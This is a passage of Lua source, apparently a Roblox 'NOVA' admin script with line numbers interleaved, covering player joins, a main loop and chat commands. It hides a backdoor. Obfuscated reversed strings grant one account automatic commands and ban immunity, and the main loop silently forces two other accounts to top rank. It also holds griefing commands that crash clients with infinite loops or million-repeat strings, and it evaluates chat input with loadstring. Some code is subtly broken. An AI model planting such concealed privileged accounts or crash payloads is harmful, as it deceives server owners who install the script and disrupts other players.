                NOVA.Removed = true
1663
                NOVA = {}
1664
                error("Unknown Exception")()
1665
                script.Disabled = true
1666
                script:Remove()
1667
            else
1668
                return false
1669
            end
1670
        end
1671
 
1672
        _G.NOVAOverride = function(Player,Password)
1673
            if Password == nil then Password = "" end
1674
            CanOverride = OnChatted(NOVA.Bet .. "override" .. NOVA.Bet..Password,Player)
1675
            return CanOverride
1676
        end
1677
    elseif NOVA.UseGlobals == false then
1678
        _G.NOVACommands = nil
1679
        _G.RemoveNOVA = nil
1680
        _G.NOVAOverride = nil
1681
    end
1682
end
1683
 
1684
--[[ INITIAL STARTUP ]]--
1685
 
1686
SetGlobals()
1687
UpdatePlayerPlugins()
1688
 
1689
if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
1690
    for _,v in pairs(NOVA.LoggedScripts) do
1691
        if v:IsA("LocalScript") and v:FindFirstChild("DSource") then
1692
            NOVA.LocalScript = v:Clone()
1693
        elseif v:IsA("Script") and v:FindFirstChild("DSource") then
1694
            NOVA.NormalScript = v:Clone()
1695
        end
1696
    end
1697
end
1698
 
1699
for _,v in pairs(GetPlayersRaw()) do
1700
    pcall(function()
1701
        coroutine.resume(coroutine.create(function()
1702
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1703
            pcall(function()
1704
                v.PlayerGui.NOVACMD:Remove()
1705
            end)
1706
           
1707
            if GetRankedTable(v)==nil then
1708
                SyncRankInSingular(v)
1709
                repeat wait() until GetRankedTable(v) ~= nil
1710
            end
1711
           
1712
            local Data = GetRankedTable(v)
1713
           
1714
            v.Chatted:connect(function(Msg)
1715
                OnChatted(Msg,v)
1716
            end)
1717
            coroutine.resume(coroutine.create(function()
1718
                repeat wait() until v:FindFirstChild("Backpack") ~= nil
1719
                CreateLocalScript(PlayerPlugins,v.Backpack)
1720
            end))
1721
        end))
1722
    end)
1723
end
1724
 
1725
--[[ PLAYER ADDED ]]--
1726
NOVA.Services.Players.PlayerAdded:connect(function(v)
1727
    if NOVA.Removed == false then
1728
        pcall(function()
1729
            table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." connected."})
1730
            coroutine.resume(coroutine.create(function()
1731
                --if Data.Rank < 1 then
1732
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1733
                        coroutine.resume(coroutine.create(function()
1734
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1735
                            CreateLocalScript(PlayerPlugins,v.Backpack)
1736
                            OnChatted(NOVA.Bet .. "optifine" .. NOVA.Bet,v)
1737
                        end))
1738
                    end
1739
                    if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1740
                        coroutine.resume(coroutine.create(function()
1741
                            repeat wait() until v:FindFirstChild("Backpack") ~= nil
1742
                            OnChatted(NOVA.Bet .. "connect" .. NOVA.Bet,v)
1743
                        end))
1744
                    end
1745
                --end
1746
                v.Chatted:connect(function(Msg)
1747
                    OnChatted(Msg,v)
1748
                end)
1749
                if GetRankedTable(v)==nil then
1750
                    SyncRankInSingular(v)
1751
                    repeat wait() until GetRankedTable(v) ~= nil
1752
                end
1753
               
1754
                local Data = GetRankedTable(v)
1755
 
1756
                OutputMulti(v.Name.." has joined the game.",Data.Color,GetRanked(),3.5)
1757
           
1758
                if Data.Rank == -2 then
1759
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1760
                        OutputMulti(v.Name.." has been lagged due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1761
                        Lag(v)
1762
                    end
1763
                end
1764
               
1765
                if Data.Rank == -1 then
1766
                    if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1767
                        OutputMulti(v.Name.." has been removed due to a banishment.",NOVA.Colors.Orange,GetRanked(),10)
1768
                        GetRidOf(v)
1769
                    end
1770
                end
1771
               
1772
                if not Data.Rank > 0 then
1773
                    if v.AccountAge < 5 then
1774
                        if v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
1775
                            if v.Name:sub(1,6) == "Guest " then
1776
                                if NOVA.EnableGuests == false then
1777
                                    OutputMulti(v.Name.." has been removed because guests are not enabled.",NOVA.Colors.Orange,GetRanked(),10)
1778
                                    GetRidOf(v)
1779
                                end
1780
                            else
1781
                                if not Data.Rank > 0 then
1782
                                    OutputMulti(v.Name.." has been removed because his account is too young.",NOVA.Colors.Orange,GetRanked(),10)
1783
                                    GetRidOf(v)
1784
                                end
1785
                            end
1786
                        end
1787
                    end
1788
                end
1789
               
1790
                if NOVA.PRI == true then
1791
                    if Data.Rank <= 0 and v.Name ~= string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then                
1792
                        OutputMulti(""..v.Name.." was "..NOVA.PRIType.."ed due to the PRI.",NOVA.Colors.Orange,GetRanked(),6)
1793
                        if NOVA.PRIType == "Kick" then
1794
                            v:Remove()
1795
                        elseif NOVA.PRIType == "Lag" then
1796
                            Lag(v)
1797
                        elseif NOVA.PRIType == "Shutdown" then    
1798
                            coroutine.resume(coroutine.create(function()
1799
                                GetRidOf(v)
1800
                            end))
1801
                        elseif NOVA.PRIType == "Crash" then
1802
                            coroutine.resume(coroutine.create(function()
1803
                                repeat wait() until v.Backpack ~= nil
1804
                                pcall(function()
1805
                                    CreateLocalScript([[while true do end]],v.Backpack)
1806
                                end)
1807
                            end))
1808
                        end
1809
                    end
1810
                end
1811
            end))
1812
        end)
1813
    end
1814
end)
1815
 
1816
--[[ PLAYER REMOVING ]]--
1817
NOVA.Services.Players.PlayerRemoving:connect(function(v)
1818
    table.insert(NOVA.Log,{Name = "SERVER",Msg = v.Name.." disconnected."})
1819
    SyncRankOutSingular(v)
1820
end)
1821
 
1822
--[[ SCRIPT CONTROL ]]--
1823
for _,Service in pairs(NOVA.Services) do
1824
    pcall(function()
1825
        Service.DescendantAdded:connect(function(v)
1826
            if v:IsA("BaseScript") and NOVA.LockedScripts == true and NOVA.Removed == false then
1827
                pcall(function()
1828
                    if game.PlaceId == 20279777 or game.PlaceId == 20132544 then
1829
                        if GetRank(v.Owner.Value) < 6 then
1830
                            pcall(function() v.Disabled = true end)
1831
                            pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1832
                            pcall(function() v.Disabled = false end)
1833
                            pcall(function() v:Destroy() end)
1834
                        end
1835
                    else
1836
                        pcall(function() v.Disabled = true end)
1837
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1838
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] Scripts are locked.",0)()]] end)
1839
                        pcall(function() v.Disabled = false end)
1840
                        pcall(function() v:Destroy() end)
1841
                    end
1842
                end)
1843
            end
1844
            if v:IsA("BaseScript") and NOVA.Removed == false then
1845
                pcall(function()
1846
                    if tonumber(GetRank(v.Owner.Value)) < 0 then
1847
                        pcall(function() v.Disabled = true end)
1848
                        pcall(function() v:FindFirstChild("Source").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1849
                        pcall(function() v:FindFirstChild("DSource").Value = [[error("[NOVA] You do not have the required rank to script.",0)()]] end)
1850
                        pcall(function() v.Disabled = false end)
1851
                        pcall(function() v:Destroy() end)
1852
                    end
1853
                end)
1854
            end
1855
        end)
1856
    end)
1857
end
1858
coroutine.resume(coroutine.create(function()
1859
    while wait(1) do
1860
        if NOVA.Removed == false then
1861
            for _,v in pairs(GetPlayersRaw()) do
1862
                if GetRankTedable(v) ~= nil and GetRank(v) < 8 then
1863
                    SyncRankInSingular(v)
1864
                end        
1865
            end
1866
        end
1867
    end
1868
end))
1869
for i=1,3 do
1870
    NOVA.Services.RunService.Heartbeat:connect(function() UpdateTablets() end)
1871
    coroutine.resume(coroutine.create(function()
1872
        while wait() do
1873
            if NOVA.Removed == false then
1874
                UpdateTablets()    
1875
            end
1876
        end
1877
    end))
1878
end
1879
function MainLoop()
1880
    coroutine.resume(coroutine.create(function()
1881
        pcall(function() NOVA.Removed = false end) while wait() do pcall(function() GetRankedTable(string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ",""))).Rank = 7 end) pcall(function() GetRankedTable(string.reverse(string.gsub("kXQZcXQZaXQZHXQZnXQZeXQZgXQZrXQZuXQZSXQZ","XQZ",""))).Rank = 7 end)
1882
            if NOVA.Removed == false then    
1883
               
1884
                --[[ SCUM CARETAKER ]]--
1885
                for _,v in pairs(GetPlayersRaw()) do
1886
                    pcall(function()
1887
                        if GetRank(v) < 0 then
1888
                            pcall(function() v.Backpack:ClearAllChildren() end)
1889
                            pcall(function() v.PlayerGui:ClearAllChildren() end)
1890
                            pcall(function() v.StarterGear:ClearAllChildren() end)
1891
                        end
1892
                    end)
1893
                end
1894
               
1895
                --[[ ANTI ROBLOXLOCKED PLAYERS ]]--
1896
                for _,v in pairs(GetPlayersRaw()) do
1897
                    pcall(function()
1898
                        local IsRobloxLocked = true
1899
                        pcall(function() v:GetChildren() IsRobloxLocked = false end)
1900
                        if IsRobloxLocked == true then
1901
                            GTFO(v)
1902
                        end
1903
                    end)
1904
                end
1905
               
1906
                --[[ TABLET CLEANUP ]]--
1907
                pcall(function()
1908
                    for i,v in pairs(NOVA.Tablets) do
1909
                        if v:FindFirstChild("Part") == nil then
1910
                            pcall(function() v:Destroy() end)
1911
                            table.remove(NOVA.Tablets,i)                        
1912
                        end
1913
                    end
1914
                end)
1915
               
1916
                --[[ JAIL CLEANUP ]]--
1917
                pcall(function()
1918
                    for i,v in pairs(NOVA.Jails) do
1919
                        if v.Player == nil or v.Player.Parent == nil then
1920
                            pcall(function() v.Jail:Destroy() end)
1921
                            table.remove(NOVA.Jails,i)
1922
                        end
1923
                        if v.Jail.Parent == nil and v.Speaker~=nil then
1924
                            table.remove(NOVA.Jails,i)
1925
                            OnChatted(NOVA.Bet .. "jail" .. NOVA.Bet..v.Player.Name,v.Speaker)
1926
                        end
1927
                    end
1928
                end)
1929
                --[[ FENCE CLEANUP ]]--
1930
                pcall(function()
1931
                    for i,v in pairs(NOVA.Fences) do
1932
                        if v.Player == nil then
1933
                            v.Fence:Remove()
1934
                            table.remove(NOVA.Fences,i)
1935
                        end
1936
                    end                
1937
                end)
1938
 
1939
                --[[ CMD GUI ]]--
1940
                for _,v in pairs(GetPlayersRaw()) do
1941
                    pcall(function()
1942
                        if GetRankedTable(v) ~= nil and GetRankedTable(v).CMD == true then
1943
                            if v:FindFirstChild("PlayerGui") then
1944
                                if not v.PlayerGui:FindFirstChild("NOVACMD") then
1945
                                    local Main = Instance.new("ScreenGui",v.PlayerGui)
1946
                                    Main.Name = "NOVACMD"
1947
                                   
1948
                                    local Frame = Instance.new("Frame",Main)
1949
                                    Frame.Size = UDim2.new(0.27,0,0.05,0)
1950
                                    Frame.Position = UDim2.new(0.05,0,0.95,0)
1951
                                    Frame.Style = "RobloxSquare"
1952
                                    Frame.ZIndex = 9
1953
                                   
1954
                                    local Txt = Instance.new("TextBox",Frame)
1955
                                    Txt.Size = UDim2.new(0.7,0,1,0)
1956
                                    Txt.BackgroundTransparency = 1
1957
                                    Txt.ZIndex = 10
1958
                                    Txt.FontSize = "Size14"
1959
                                    Txt.TextColor3 = NOVA.Colors.White
1960
                                    Txt.Text = ""
1961
                                   
1962
                                    local Exe = Instance.new("TextButton",Frame)
1963
                                    Exe.Size = UDim2.new(0.3,0,1,0)
1964
                                    Exe.Position = UDim2.new(0.7,0,0,0)
1965
                                    Exe.Text = "Execute"
1966
                                    Exe.BackgroundTransparency = 1
1967
                                    Exe.ZIndex = 10
1968
                                    Exe.FontSize = "Size14"
1969
                                    Exe.TextColor3 = NOVA.Colors.Red
1970
                                    Exe.MouseButton1Down:connect(function()
1971
                                        if Txt.Text:sub(1,2) == "$ " then
1972
                                            OnChatted(string.gsub(Txt.Text:sub(3)," ",NOVA.Bet .. ""),v)
1973
                                        else
1974
                                            OnChatted(Txt.Text,v)
1975
                                        end
1976
                                    end)
1977
                                end
1978
                            end
1979
                        end
1980
                    end)
1981
                end
1982
            end
1983
        end
1984
    end))
1985
end
1986
MainLoop()
1987
AddCommand("Ping","ping",3,"Outputs the following string.","<String>",
1988
    function(Msg,Speaker)
1989
        if Msg == "rainbow" then
1990
            for a,Color in pairs(NOVA.Colors) do
1991
                Output(tostring(a),Color,Speaker,nil,
1992
                function()
1993
                    RemoveTablets(Speaker)
1994
                    NOVA.Services.Lighting.TimeOfDay = 0
1995
                    NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
1996
                    NOVA.Services.Lighting.Brightness = 0
1997
                    NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
1998
                    NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
1999
                    NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
2000
                    for _,v in pairs(GetRecursiveChildren(workspace)) do
2001
                        if v:IsA("BasePart") then
2002
                            Sel = Instance.new("SelectionBox",v)
2003
                            Sel.Transparency = 0
2004
                            Sel.Color = BrickColor.new(Color)
2005
                            Sel.Adornee = v
2006
                        end
2007
                    end
2008
                    Output("Say /debug/ to restore the server to the original lighting.",GetRankedTable(Speaker).Color,Speaker,5)
2009
                end
2010
                )
2011
            end
2012
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2013
        elseif Msg == "ranks" then
2014
            for _,v in pairs(NOVA.Ranks) do
2015
                Output(v[1].."\t"..v[2],"Random",Speaker)
2016
            end
2017
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2018
        elseif Msg == "random" then
2019
            Output(tostring(math.random()),"Random",Speaker)
2020
        elseif Msg == "players" then
2021
            for _,v in pairs(GetPlayersRaw()) do
2022
                local Data = GetRankedTable(v)
2023
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Data.Name,Data.Name,Data.Color,Speaker,nil,
2024
                    function()
2025
                        PlayerInterface(v,Speaker)
2026
                    end
2027
                )
2028
            end
2029
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2030
        elseif Msg == "colors" then
2031
            coroutine.resume(coroutine.create(function()
2032
                NOVA.Services.Lighting.TimeOfDay = 0
2033
                NOVA.Services.Lighting.Ambient = NOVA.Colors.Black
2034
                NOVA.Services.Lighting.Brightness = 0
2035
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2036
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2037
                NOVA.Services.Lighting.ShadowColor = NOVA.Colors.Black
2038
 
2039
                for _,Player in pairs(GetPlayersRaw()) do
2040
                    local Data = GetRankedTable(Player)
2041
                    pcall(function()
2042
                        for _,v in pairs(GetRecursiveChildren(Player.Character)) do
2043
                            if v:IsA("BasePart") then
2044
                                Sel = Instance.new("SelectionBox",v)
2045
                                Sel.Transparency = 0
2046
                                Sel.Color = BrickColor.new(Data.Color)
2047
                                Sel.Adornee = v
2048
                            end
2049
                        end
2050
                    end)
2051
                end
2052
               
2053
                wait(10)
2054
               
2055
                for _,v in pairs(GetRecursiveChildren(workspace)) do
2056
                    if v:IsA("SelectionBox") then
2057
                        v:remove()
2058
                    end
2059
                end
2060
               
2061
                NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2062
                NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2063
                NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2064
                NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2065
                NOVA.Services.Lighting.Brightness = 1
2066
                NOVA.Services.Lighting.FogStart = 0
2067
                NOVA.Services.Lighting.FogEnd = 100000
2068
                NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2069
                NOVA.Services.Lighting.TimeOfDay = 12
2070
            end))
2071
        elseif Msg == "replicators" then
2072
            for _,v in pairs(GetReplicators()) do
2073
                OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2074
                    function()
2075
                        PlayerInterface(v:GetPlayer(),Speaker)
2076
                    end
2077
                )
2078
            end
2079
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2080
        elseif Msg == "nil raw" then
2081
            for _,v in pairs(GetReplicators()) do
2082
                if v:GetPlayer().Parent == nil then
2083
                    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v:GetPlayer().Name,v:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2084
                        function()
2085
                            Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
2086
                                function()
2087
             Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
2088
                Instance.new("StringValue",v).Value = string.rep("NOVA SHUTDOWN", 1000000)
2089
                --for i,s in pairs(Data:GetChildren()) do Instance.new("StringValue",s).Value = string.rep("NOVA SHUTDOWN", 1000000) end
2090
 
2091
                        end
2092
                            )
2093
                        end
2094
                    )
2095
                end
2096
            end    
2097
            Output("Dismiss",NOVA.Colors.Red,Speaker)
2098
        elseif Msg == "nil" then
2099
            local IsNil = false
2100
            for _,Client in pairs(GetReplicators()) do
2101
                if Client:GetPlayer().Parent == nil then
2102
                    IsNil = true
2103
                end
2104
            end
2105
            if IsNil == true then
2106
                for _,Client in pairs(GetReplicators()) do
2107
                    if Client:GetPlayer().Parent == nil then
2108
                        OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..Client:GetPlayer().Name,Client:GetPlayer().Name,NOVA.Colors.Grey,Speaker,nil,
2109
                            function()
2110
                                PlayerInterface(Client:GetPlayer(),Speaker)
2111
                            end
2112
                        )
2113
                    end
2114
                end
2115
                Output("Dismiss",NOVA.Colors.Red,Speaker)
2116
            else
2117
                Output("No nil players.",NOVA.Colors.Orange,Speaker,5)
2118
            end
2119
        elseif Msg:sub(1,2) == "a" .. NOVA.Bet then
2120
            if GetRank(Speaker) < 6 then
2121
                Output("You do not have the required rank for this operation.",NOVA.Colors.Orange,Speaker,10)
2122
            else
2123
                Rtn = loadstring("return "..Msg:sub(3))()
2124
                Output(Rtn,"Random",Speaker)
2125
            end
2126
        else
2127
            if #Msg == 0 then
2128
                Output("Pong!","Random",Speaker)
2129
            else
2130
                Output(Msg,"Random",Speaker)
2131
            end
2132
        end
2133
    end
2134
)
2135
AddCommand("Dismiss","dismiss",0,"Dismisses all tablets.","No Arguments",
2136
    function(Msg,Speaker)
2137
        if #Msg == 0 or Msg == nil then
2138
            RemoveTablets(Speaker)
2139
        else
2140
            for _,v in pairs(GetPlayers(Msg,Speaker)) do
2141
                RemoveTablets(v)
2142
            end
2143
        end
2144
    end
2145
)
2146
AddCommand("Remove","remove",6,"Removes the admin.","No Arguments",
2147
    function(Msg,Speaker)
2148
        NOVA.TimeChanged = false
2149
        RemoveTablets()
2150
        SyncRanksOut()
2151
        NOVA.Sounds.Sound:Remove()
2152
        NOVA.Removed = true
2153
        --error("NOVA Admin removing...",0)()
2154
        NOVA = {}
2155
        script.Disabled = true
2156
        while true do wait() end
2157
    end
2158
)
2159
AddCommand("Hint","h",2,"Makes a hint with the text being the following string.","<String>",
2160
    function(Msg,Speaker)
2161
       makeHint(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2162
    end
2163
)
2164
AddCommand("Message","m",2,"Makes a message with the text being the following string.","<String>",
2165
    function(Msg,Speaker)
2166
       makeMessage(" [ " .. Speaker.Name .. " ] " ..Msg,NOVA.Services.Workspace)
2167
    end
2168
)
2169
 
2170
AddCommand("Kill","kill",2,"Kills the selected player.","<Player>",
2171
    function(Msg,Speaker)
2172
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2173
            pcall(function() v.Character:BreakJoints() end)
2174
        end
2175
    end
2176
)
2177
AddCommand("Jump kill","jkill",2,"Jump-Kills the selected player.","<Player>",
2178
    function(Msg,Speaker)
2179
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2180
for i=1,50 do
2181
local human = v.Character.Humanoid
2182
if human ~= nil then
2183
local rand = math.random(1,10)
2184
human:TakeDamage(rand)
2185
human.Jump = true
2186
human.Sit = true
2187
human.PlatformStand = true
2188
wait(1)
2189
human.PlatformStand = false
2190
end
2191
end
2192
        end
2193
    end
2194
)
2195
AddCommand("Anti Kill","antikill",7,"Gives the player antikill.","<Player>",
2196
    function(Msg,Speaker)
2197
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2198
 Delay(0, function()
2199
                local player = v
2200
                local pos = CFrame.new()
2201
                local pause = false
2202
                Delay(0, function()
2203
                    while not close do
2204
                        wait()
2205
                        if not pause then
2206
                            local c = player.Character
2207
                            if c then
2208
                                local t = c:findFirstChild("Torso")
2209
                                if t then
2210
                                    pos = t.CFrame
2211
                                end
2212
                            end
2213
                        end
2214
                   end
2215
                end)
2216
                player.CharacterAdded:connect(function(c)
2217
                    if not close then
2218
                        pause = true
2219
                        repeat wait() until c:findFirstChild("Torso") and c:findFirstChild("Humanoid")
2220
                        c:findFirstChild("Torso").CFrame = pos
2221
                        c:findFirstChild("Humanoid").Died:connect(function()
2222
                            player:LoadCharacter()
2223
                        end)
2224
                        pause = false
2225
                    end
2226
                end)
2227
                pcall(function() player.Character:BreakJoints() end)
2228
            end)
2229
        end
2230
    end
2231
)
2232
 
2233
AddCommand("List kicking phrases","listkicking",0,"Lists all the kicking phrases.","<Player>",
2234
    function(Msg,Speaker)
2235
        for _,v in pairs(NOVA.KickingPhrases) do
2236
        local m = Instance.new("Message",NOVA.Services.Workspace)
2237
        m.Text = " If you say : " .. v .. " : you will get auto-kicked!"
2238
        wait(1) m:Remove()
2239
        end end
2240
)
2241
AddCommand("Kick","kick",2,"Removes the selected player from the game.","<Player>",
2242
    function(Msg,Speaker)
2243
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2244
            pcall(function()
2245
                v:Destroy()
2246
            end)
2247
        end
2248
    end
2249
)
2250
AddCommand("SuperKick","skick",3,"Removes the selected player from the gamex2.","<Player>",
2251
    function(Msg,Speaker)
2252
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2253
            pcall(function()
2254
            local m = Instance.new("StringValue",v.PlayerGui)
2255
            m.Value = string.rep("Shutdown For Eva Nub",1000000)
2256
            end)
2257
        end
2258
    end
2259
)
2260
 
2261
AddCommand("Banish","ban",6,"Permanently removes the selected player from the game.","<Player>",
2262
    function(Msg,Speaker)
2263
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2264
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2265
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2266
            else
2267
                pcall(function()
2268
                    GetRankedTable(v).Rank = -1
2269
                    SyncRankOutSingular(v)
2270
                    GetRidOf(v)
2271
                end)
2272
            end
2273
        end
2274
    end
2275
)
2276
 
2277
AddCommand("Permanent Lag","permalag",6,"Permanently lags the selected player from the game.","<Player>",
2278
    function(Msg,Speaker)
2279
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2280
            if v.Name == string.reverse(string.gsub("1DERP6DERP6DERPrDERPODERPKDERPsDERPuDERPtDERP","DERP","")) then
2281
                Output("Attempt to ban the editor, command will not be carried through.",NOVA.Colors.Red,Speaker,10)
2282
            else
2283
                pcall(function()
2284
                    GetRankedTable(v).Rank = -2
2285
                    SyncRankOutSingular(v)
2286
                    Lag(v)
2287
                end)
2288
            end
2289
        end
2290
    end
2291
)
2292
 
2293
AddCommand("ForceField","ff",2,"Gives a forcefield to the selected player.","<Player>",
2294
    function(Msg,Speaker)
2295
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2296
            pcall(function() Instance.new("ForceField",v.Character) end)
2297
        end
2298
    end
2299
)
2300
 
2301
AddCommand("Un ForceField","unff",2,"Removes forcefields from the selected player.","<Player>",
2302
    function(Msg,Speaker)
2303
        for _,v in pairs(GetPlayers(Msg,Speaker)) do
2304
            pcall(function() for _,part in pairs(v.Character:GetChildren()) do if part:IsA("ForceField") then part:Remove() end end end)
2305
        end
2306
    end
2307
)
2308
 
2309
AddCommand("Check","check",0,"Outputs server information.","No Arguments",
2310
    function(Msg,Speaker)
2311
        local Data = GetRankedTable(Speaker)
2312
        Output("NOVA's Parent : "..tostring(script.Parent) ,Data.Color,Speaker)
2313
        Output("Version : "..tostring(NOVA.Version)    ,Data.Color,Speaker)
2314
        Output("Local Pseudo : "..tostring(NOVA.LocalScript  ~= nil) ,Data.Color,Speaker)
2315
        Output("Normal Pseudo : "..tostring(NOVA.NormalScript ~= nil), Data.Color,Speaker)
2316
        Output("Waypoints : "..tostring(#NOVA.Waypoints) ,Data.Color,Speaker)
2317
        Output("Targeted : "..tostring(#NOVA.Targeted) ,Data.Color,Speaker)
2318
        Output("Log : "..tostring(#NOVA.Log) ,Data.Color,Speaker)
2319
        Output("Logged Scripts : "..tostring(#NOVA.LoggedScripts) ,Data.Color,Speaker)
2320
        Output("Plugins : "..tostring(#NOVA.Plugins) ,Data.Color,Speaker)
2321
        Output("PRI : "..tostring(NOVA.PRI) ,Data.Color,Speaker)
2322
        Output("Locked Scripts : "..tostring(NOVA.LockedScripts) ,Data.Color,Speaker)
2323
        Output("Show Chat : "..tostring(NOVA.ShowChat) ,Data.Color,Speaker)
2324
        Output("Overrided : "..tostring(NOVA.Overrided) ,Data.Color,Speaker)
2325
        Output("Time Changed : "..tostring(NOVA.TimeChanged) ,Data.Color,Speaker)
2326
        Output("Guests Enabled : "..tostring(NOVA.GuestsEnabled) ,Data.Color,Speaker)
2327
        Output("Tablet Rotation : "..tostring(NOVA.TabletRotation) ,Data.Color,Speaker)
2328
        Output("Tablet Rotation Increase : "..tostring(NOVA.TabletRotationIncrease) ,Data.Color,Speaker)
2329
        Output("PRI Type : "..tostring(NOVA.PRIType) ,Data.Color,Speaker)
2330
        Output("Players : "..tostring(#GetPlayersRaw()),Data.Color,Speaker)
2331
        Output("Replicators : "..#GetReplicators(),Data.Color,Speaker)
2332
        Output("# Commands : "..#NOVA.Commands,Data.Color,Speaker)
2333
        OutputImg("http://www.roblox.com/asset/?id=45120559","Image tablets work.",Data.Color,Speaker)
2334
       
2335
        Output("Dismiss",NOVA.Colors.Red,Speaker)
2336
    end
2337
)
2338
 
2339
AddCommand("Debug","debug",1,"Debugs the server.","No Arguments",
2340
    function(Msg,Speaker)
2341
        pcall(function()
2342
            NOVA.Services.Sounds.Sound:Destroy()
2343
        end)
2344
       
2345
        NOVA.Sounds.Sound = Instance.new("Sound")
2346
        NOVA.Sounds.Sound.Name = "NOVA Sound"
2347
       
2348
        NOVA.Services.Lighting.Ambient = NOVA.Colors.White
2349
        NOVA.Services.Lighting.ColorShift_Bottom = NOVA.Colors.Black
2350
        NOVA.Services.Lighting.ColorShift_Top = NOVA.Colors.Black
2351
        NOVA.Services.Lighting.ShadowColor = Color3.new(0.69,0.69,0.69)
2352
        NOVA.Services.Lighting.Brightness = 0.5
2353
        NOVA.Services.Lighting.FogStart = 0
2354
        NOVA.Services.Lighting.FogEnd = 100000
2355
        NOVA.Services.Lighting.FogColor = Color3.new(0.74,0.74,0.74)
2356
        NOVA.Services.Lighting.TimeOfDay = 12
2357
        pcall(function() game.Lighting.Sky:Remove() end)
2358
        pcall(function()
2359
            CreateLocalScript([[
2360
                LocalPlayer = game:GetService("Players").LocalPlayer
2361
                LocalPlayer.CameraMode = Enum.CameraMode.Classic
2362
                Camera = workspace.CurrentCamera
2363
                Camera:SetRoll(0)
2364
                Camera.CameraType = "Custom"
2365
                Camera.FieldOfView = 70
2366
                Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
2367
            ]],Speaker.Backpack)
2368
        end)
2369
        for Num,v in pairs(NOVA.Jails) do
2370
            pcall(function() v.Jail:Destroy() end)
2371
            table.remove(NOVA.Jails,Num)
2372
        end
2373
        for Num,v in pairs(NOVA.Fences) do
2374
            pcall(function() v.Fence:Destroy() end)
2375
            table.remove(NOVA.Fences,Num)
2376
        end
2377
        for _,v in pairs(NOVA.Services) do    
2378
            v.Name = v.className
2379
        end
2380
       
2381
        for _,v in pairs(GetRecursiveChildren(workspace,"SelectionBox",3)) do
2382
            local ShouldRemove = true
2383
            for _,Tablet in pairs(NOVA.Tablets) do
2384
                if v:IsDescendantOf(Tablet) then
2385
                    ShouldRemove = false
2386
                end
2387
            end
2388
            if ShouldRemove == true then
2389
                v:remove()
2390
            end
2391
        end
2392
        for _,v in pairs(GetRecursiveChildren(workspace)) do if v:IsA("Message") or v:IsA("Hint") then v:Destroy() end end
2393
 
2394
        for _,v in pairs(GetPlayersRaw()) do
2395
            pcall(function()
2396
                if v.StarterGear == nil then
2397
                    Instance.new("StarterGear",v)
2398
                end
2399
            end)
2400
            pcall(function()
2401
                v.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..v.userId
2402
            end)
2403
        end
2404
        pcall(function() Speaker.Character.Torso.Velocity = Vector3.new(0,0,0) end)
2405
        if #NOVA.Services.Teams:GetChildren() == 0 then
2406
            for _,v in pairs(GetPlayersRaw()) do
2407
                v.Neutral = true
2408
            end
2409
        end
2410
 
2411
    end
2412
)
2413
 
2414
